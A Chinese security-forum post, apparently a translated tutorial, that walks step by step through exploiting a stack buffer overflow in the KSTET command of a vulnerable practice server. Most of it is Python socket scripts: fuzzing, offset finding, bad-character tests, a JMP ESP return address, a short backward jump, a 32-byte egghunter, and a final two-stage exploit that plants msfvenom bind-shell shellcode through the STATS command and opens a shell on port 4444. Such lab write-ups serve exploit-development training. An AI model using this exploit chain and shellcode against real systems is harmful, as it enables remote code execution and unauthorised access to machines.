安全矩阵

 找回密码
 立即注册
搜索
查看: 309|回复: 0

使用Egghunter以最小的缓冲区空间开发KSTET命令

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2023-3-17 23:08:02 | 显示全部楼层 |阅读模式
原文链接:使用Egghunter以最小的缓冲区空间开发KSTET命令

我使用下面的muban对KSTET命令进行利用。这次我没有发送5000字节的字符来对该命令进行迷糊测试,而是只用了1000字节。
  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. buffer = "A”*1000

  8. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. s.connect((host,port))
  10. print s.recv(1024)
  11. print "[*] Sending exploit..."
  12. s.send("KSTET " + buffer)
  13. print s.recv(1024)
  14. s.close()
复制代码

使用这1000字节的缓冲区足以使应用程序崩溃。正如我们所看到的,即使我们已经发送了1000字节的字符,也只有94字节被应用程序接受。

使用 !mona pc 1000,我生成了1000字节的唯一字符串作为缓冲区,这样我就可以确定覆盖EIP的偏移量。
  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

  8. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. s.connect((host,port))
  10. print s.recv(1024)
  11. print "[*] Sending exploit..."
  12. s.send("KSTET " + buffer)
  13. print s.recv(1024)
  14. s.close()
复制代码

发送这个独特的字符串会导致EIP被63413363覆盖。
使用 !mona findmsp,我发现偏移量是70字节。
为了验证它是否正确,我使用以下的代码进行攻击。

  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. buffer = "A"*70
  8. buffer += "BBBB"
  9. buffer += "C"*(1000-len(buffer))

  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.connect((host,port))
  12. print s.recv(1024)
  13. print "[*] Sending exploit..."
  14. s.send("KSTET " + buffer)
  15. print s.recv(1024)
  16. s.close()
复制代码

正如我们看到的,这个偏移量是正确的,EIP被4个B所覆盖。这里需要注意的是,ESP指向了20字节的C,它位于4个B的后面。



在有限的缓冲空间我们可以把字符从\x01拆开到\xFF来识别坏字符。同样,NULL(\x00)字符目前已经被删除。第一次分割包含了从\x01到\4F的字符。
  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
  8. "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
  9. "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f")

  10. buffer = badchars
  11. buffer += "C"*(1000-len(buffer))

  12. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. s.connect((host,port))
  14. print s.recv(1024)
  15. print "[*] Sending exploit..."
  16. s.send("KSTET " + buffer)
  17. print s.recv(1024)
  18. s.close()
复制代码

从这里可以看出,没有检测到任何坏字符。
我测试的下一批字符是 \x50 到 \x9F。
我们继续跟踪\xA0 到 \xCF
最后一批是 \xD0 到 \xFF。经过多次重复的识别坏字符,发现只有\x00是一个坏字符。

然后我用 !mona jmp -r esp -m 'essfunc.dll' 来识别一个包含JMP ESP指令的地址。发现了几个地址。那么在这次测试中,我使用了0x625011AF。


然后我修改了代码,使用了发现的地址。

  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. buffer = "A"*70
  8. buffer += "\xAF\x11\x50\x62"         # JMP ESP 625011AF from essfunc.dll
  9. buffer += "C"*(1000-len(buffer))

  10. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11. s.connect((host,port))
  12. print s.recv(1024)
  13. print "[*] Sending exploit..."
  14. s.send("KSTET " + buffer)
  15. print s.recv(1024)
  16. s.close()
复制代码

从这里可以看出,它确实起作用了,我被重定向到了C字符的缓冲区。A的缓冲区位于C的缓冲区的上方。所以,我必须再次向后跳。
这次我决定不跳到A的开头,而是只跳回50个字节。短跳的操作码是\xEB,而-50相当于0xFFFFFFCE。
所以,我用来向后跳转50字节的指令的操作码是\xEB\xCE。
  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. buffer = "A"*70
  8. buffer += "\xAF\x11\x50\x62"    # JMP ESP 625011AF from essfunc.dll
  9. buffer += "\xEB\xCE"            # Jump back 50 bytes to give room for egghunter   
  10. buffer += "C"*(1000-len(buffer))

  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12. s.connect((host,port))
  13. print s.recv(1024)
  14. print "[*] Sending exploit..."
  15. s.send("KSTET " + buffer)
  16. print s.recv(1024)
  17. s.close()
复制代码
如图所示,我跳转成功了,我被重定向到了相对跳转指令($)位置的48个字节($-30h)。如果你想知道为什么只有48个字节,因为缺少的2个字节被操作码\xEB\xCE覆盖。


既然一切都运行良好,我就用!!mona egg -t Capt来生成egghunter。
在使用egghunter之前,我必须首先确定egghunter代码前的偏移量(A的数量)。在此我做了一个简单的计算:原70字节的A+4字节的JMP ESP+2字节的后跳操作码-50字节的后跳长度=26字节的A。下面显示了缓冲区的示意图和程序运行流程。
为了验证我的计算是否正确,我运行以下内容进行测试。

  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. # Egg:  Capt
  8. # Size: 32 bytes
  9. egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  10. "\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

  11. buffer = "A"*26
  12. buffer += egghunter
  13. buffer += "A"*(70-len(buffer))
  14. buffer += "\xAF\x11\x50\x62"    # JMP ESP 625011AF from essfunc.dll
  15. buffer += "\xEB\xCE"            # Jump back 50 bytes to give room for egghunter   
  16. buffer += "C"*(1000-len(buffer))

  17. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  18. s.connect((host,port))
  19. print s.recv(1024)
  20. print "[*] Sending exploit..."
  21. s.send("KSTET " + buffer)
  22. print s.recv(1024)
  23. s.close()
复制代码

程序运行成功! 我被重定向到了egghunter代码的开头。
然后我用MSFvenom生成了一个shellcode。

由于shellcode不适合放在KSTET命令中,我使用STATS命令来发送我的shellcode。这样,我的shellcode就会被放在内存的某个地方,然后让egghunter找到它。

  1. #!/usr/bin/python

  2. import os
  3. import sys
  4. import socket

  5. host = "192.168.1.129"
  6. port = 9999

  7. # msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
  8. # Payload size: 355 bytes
  9. shellcode = ("\xb8\x43\x44\x5d\xed\xdd\xc0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"
  10. "\x53\x31\x46\x12\x03\x46\x12\x83\x85\x40\xbf\x18\xf5\xa1\xbd"
  11. "\xe3\x05\x32\xa2\x6a\xe0\x03\xe2\x09\x61\x33\xd2\x5a\x27\xb8"
  12. "\x99\x0f\xd3\x4b\xef\x87\xd4\xfc\x5a\xfe\xdb\xfd\xf7\xc2\x7a"
  13. "\x7e\x0a\x17\x5c\xbf\xc5\x6a\x9d\xf8\x38\x86\xcf\x51\x36\x35"
  14. "\xff\xd6\x02\x86\x74\xa4\x83\x8e\x69\x7d\xa5\xbf\x3c\xf5\xfc"
  15. "\x1f\xbf\xda\x74\x16\xa7\x3f\xb0\xe0\x5c\x8b\x4e\xf3\xb4\xc5"
  16. "\xaf\x58\xf9\xe9\x5d\xa0\x3e\xcd\xbd\xd7\x36\x2d\x43\xe0\x8d"
  17. "\x4f\x9f\x65\x15\xf7\x54\xdd\xf1\x09\xb8\xb8\x72\x05\x75\xce"
  18. "\xdc\x0a\x88\x03\x57\x36\x01\xa2\xb7\xbe\x51\x81\x13\x9a\x02"
  19. "\xa8\x02\x46\xe4\xd5\x54\x29\x59\x70\x1f\xc4\x8e\x09\x42\x81"
  20. "\x63\x20\x7c\x51\xec\x33\x0f\x63\xb3\xef\x87\xcf\x3c\x36\x50"
  21. "\x2f\x17\x8e\xce\xce\x98\xef\xc7\x14\xcc\xbf\x7f\xbc\x6d\x54"
  22. "\x7f\x41\xb8\xc1\x77\xe4\x13\xf4\x7a\x56\xc4\xb8\xd4\x3f\x0e"
  23. "\x37\x0b\x5f\x31\x9d\x24\xc8\xcc\x1e\x5b\x55\x58\xf8\x31\x75"
  24. "\x0c\x52\xad\xb7\x6b\x6b\x4a\xc7\x59\xc3\xfc\x80\x8b\xd4\x03"
  25. "\x11\x9e\x72\x93\x9a\xcd\x46\x82\x9c\xdb\xee\xd3\x0b\x91\x7e"
  26. "\x96\xaa\xa6\xaa\x40\x4e\x34\x31\x90\x19\x25\xee\xc7\x4e\x9b"
  27. "\xe7\x8d\x62\x82\x51\xb3\x7e\x52\x99\x77\xa5\xa7\x24\x76\x28"
  28. "\x93\x02\x68\xf4\x1c\x0f\xdc\xa8\x4a\xd9\x8a\x0e\x25\xab\x64"
  29. "\xd9\x9a\x65\xe0\x9c\xd0\xb5\x76\xa1\x3c\x40\x96\x10\xe9\x15"
  30. "\xa9\x9d\x7d\x92\xd2\xc3\x1d\x5d\x09\x40\x3d\xbc\x9b\xbd\xd6"
  31. "\x19\x4e\x7c\xbb\x99\xa5\x43\xc2\x19\x4f\x3c\x31\x01\x3a\x39"
  32. "\x7d\x85\xd7\x33\xee\x60\xd7\xe0\x0f\xa1")

  33. # Egg:  Capt
  34. # Size: 32 bytes
  35. egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
  36. "\xef\xb8\x43\x61\x70\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

  37. buffer = "A"*26
  38. buffer += egghunter
  39. buffer += "A"*(70-len(buffer))
  40. buffer += "\xAF\x11\x50\x62"    # JMP ESP 625011AF from essfunc.dll
  41. buffer += "\xEB\xCE"            # Jump back 50 bytes to give room for egghunter   
  42. buffer += "C"*(1000-len(buffer))

  43. # Used to send the 2nd stage shellcode
  44. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  45. s.connect((host,port))
  46. print s.recv(1024)
  47. print "[*] Sending shellcode somewhere in memory via STATS command..."
  48. s.send("STATS " + "CaptCapt" + shellcode)
  49. print s.recv(1024)
  50. s.close()

  51. # Used to send the 1st stage shellcode (egghunter)
  52. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  53. s.connect((host,port))
  54. print s.recv(1024)
  55. print "[*] Sending exploit..."
  56. s.send("KSTET " + buffer)
  57. print s.recv(1024)
  58. s.close()
复制代码

在执行完最终的代码后,egghunter成功地在STATS命令后运行了我的shellcode。
最终,目标机在4444/tcp上产生了一个 "监听 "端口。
最后要做的是连接到新打开的端口,获得shell访问权限。








本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 19:47 , Processed in 0.018122 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表